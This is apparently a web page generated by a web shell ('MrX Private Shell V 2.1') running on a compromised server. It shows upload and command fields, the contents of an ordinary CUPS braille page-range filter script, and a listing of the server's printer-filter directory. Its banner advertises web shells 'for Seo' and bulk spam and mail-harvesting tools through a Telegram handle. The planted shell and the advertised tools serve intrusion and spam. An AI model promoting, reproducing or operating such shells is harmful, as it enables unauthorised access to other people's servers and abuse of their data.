__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/bash

#
# Copyright (c) 2015-2018 Samuel Thibault <[email protected]>
#
# Licensed under Apache License v2.0.  See the file "LICENSE" for more
# information.
#

# Make sure we have enough options
if [ $# != 5 -a $# != 6 ]; then
  echo "ERROR: $0 jobid user name nb options [filename]" >&2
  exit 1
fi

NB=$4
OPTIONS=$5
FILE=$6

. /usr/share/cups/braille/cups-braille.sh

shopt -s extglob

# Construct list of pages from PAGERANGES

PAGES=" "   # Explicit list of pages
AFTER=      # All pages including and after this
BEFORE=     # All pages before and including this

[ -n "$PAGERANGES" ] || PAGERANGES="1-"

while [ -n "${PAGERANGES}" ]
do
  PAGERANGE=${PAGERANGES/,*}
  PAGERANGE=${PAGERANGE%%*( )}
  PAGERANGE=${PAGERANGE##*( )}
  if [ -n "${PAGERANGES/*,*}" ]
  then
    # last range
    PAGERANGES=""
  else
    # Remove leading range
    PAGERANGES="${PAGERANGES#*,}"
  fi

  if [ -n "${PAGERANGE/*-*}" ]
  then
    # single-page
    PAGES="$PAGES$PAGERANGE "

  elif [ -z "${PAGERANGE%%*-}" ]
  then
    # To the end
    FIRST=${PAGERANGE%%-*}
    if [ -z "$AFTER" ] || [ "$FIRST" -lt "$AFTER" ]
    then
      AFTER="$FIRST"
    fi

  elif [ -z "${PAGERANGE##-*}" ]
  then
    # From the beginning
    LAST=${PAGERANGE##*-}
    if [ -z "$BEFORE" ] || [ "$LAST" -gt "$BEFORE" ]
    then
      BEFORE="$LAST"
    fi

  else
    # page range
    FIRST=${PAGERANGE/-*}
    LAST=${PAGERANGE/*-}
    PAGES="$PAGES$(seq "$FIRST" "$LAST" | tr $'\012' ' ')"

  fi
done

# Determine whether to print this page
doprint() {
  PAGE="$1"
  if [ -n "$BEFORE" ] && [ "$PAGE" -le "$BEFORE" ]
  then
    echo 1
    return
  elif [ -n "$AFTER" ] && [ "$PAGE" -ge "$AFTER" ]
  then
    echo 1
    return
  fi
  case "$PAGES" in
    *\ $PAGE\ *)
      echo 1
      return
      ;;
  esac
  echo 0
}

if [ -z "$FILE" ]
then
  cat
else
  cat "$FILE"
fi | (
  P=1
  DOPRINT=$(doprint $P)
  IFS=$'\n' read -r LINE
  EOF=$?
  while [ "$EOF" = 0 -o -n "$LINE" ]
  do
    while [ -n "$LINE" -a -z "${LINE/*$'\014'*}" ]
    do
      # Possibly print before FF
      HEAD=${LINE%%$'\014'*}
      [ $DOPRINT == 0 ] || printf %s "$HEAD"$'\014'

      # Next page 
      P=$(($P + 1))
      DOPRINT=$(doprint $P)

      # Drop head of line
      LINE=${LINE#*$'\014'}
    done

    # Remainder of line
    if [ "$EOF" = 0 ]
    then
      NL="\n"
    else
      NL=""
    fi
    [ $DOPRINT == 0 ] || printf "%s$NL" "$LINE"

    IFS=$'\n' read -r LINE
    EOF=$?
  done
)

echo "INFO: Ready" >&2
exit 0

Filemanager

Name Type Size Permission Actions
bannertopdf File 14.39 KB 0755
brftoembosser File 1 KB 0755
brftopagedbrf File 2.44 KB 0755
c2esp File 34.31 KB 0755
c2espC File 30.31 KB 0755
cgmtopdf File 1.54 KB 0755
cmxtopdf File 1.54 KB 0755
command2esp File 14.31 KB 0755
command2foo2lava-pjl File 22.39 KB 0755
commandtoescpx File 14.38 KB 0755
commandtopclx File 14.38 KB 0755
commandtops File 14.38 KB 0755
emftopdf File 1.54 KB 0755
foomatic-rip File 115.48 KB 0755
gstopdf File 14.38 KB 0755
gstopxl File 14.38 KB 0755
gstoraster File 14.38 KB 0755
gziptoany File 14.38 KB 0755
hpcdmfax File 30.66 KB 0755
hpcups File 397.9 KB 0755
hpcupsfax File 30.4 KB 0755
hpps File 46.8 KB 0755
imagetobrf File 2.71 KB 0755
imagetopdf File 14.39 KB 0755
imagetops File 14.38 KB 0755
imagetoraster File 14.39 KB 0755
imagetoubrl File 2.71 KB 0755
imageubrltoindexv3 File 5.47 KB 0755
imageubrltoindexv4 File 5.54 KB 0755
mupdftopwg File 14.38 KB 0755
musicxmltobrf File 893 B 0755
pclmtoraster File 14.39 KB 0755
pdftopdf File 14.39 KB 0755
pdftops File 14.39 KB 0755
pdftoraster File 14.39 KB 0755
pstops File 58.41 KB 0755
pstoqpdl File 22.4 KB 0755
pstotiff File 393 B 0755
pwgtopclm File 14.39 KB 0755
pwgtopdf File 14.39 KB 0755
pwgtoraster File 14.39 KB 0755
rastertobrlaser File 42.32 KB 0755
rastertoepson File 22.37 KB 0755
rastertoescpx File 38.38 KB 0755
rastertohp File 18.37 KB 0755
rastertolabel File 26.37 KB 0755
rastertopclx File 42.39 KB 0755
rastertops File 14.39 KB 0755
rastertoptch File 26.37 KB 0755
rastertopwg File 18.37 KB 0755
rastertoqpdl File 70.41 KB 0755
rastertosag-gdi File 15.59 KB 0755
svgtopdf File 1.54 KB 0755
textbrftoindexv3 File 3.85 KB 0755
textbrftoindexv4 File 3.85 KB 0755
texttobrf File 8.11 KB 0755
texttopdf File 14.39 KB 0755
texttops File 1.02 KB 0755
texttotext File 14.38 KB 0755
vectortobrf File 1.57 KB 0755
vectortopdf File 1.54 KB 0755
vectortoubrl File 1.57 KB 0755
wmftopdf File 1.54 KB 0755
xfigtopdf File 1.54 KB 0755
Filemanager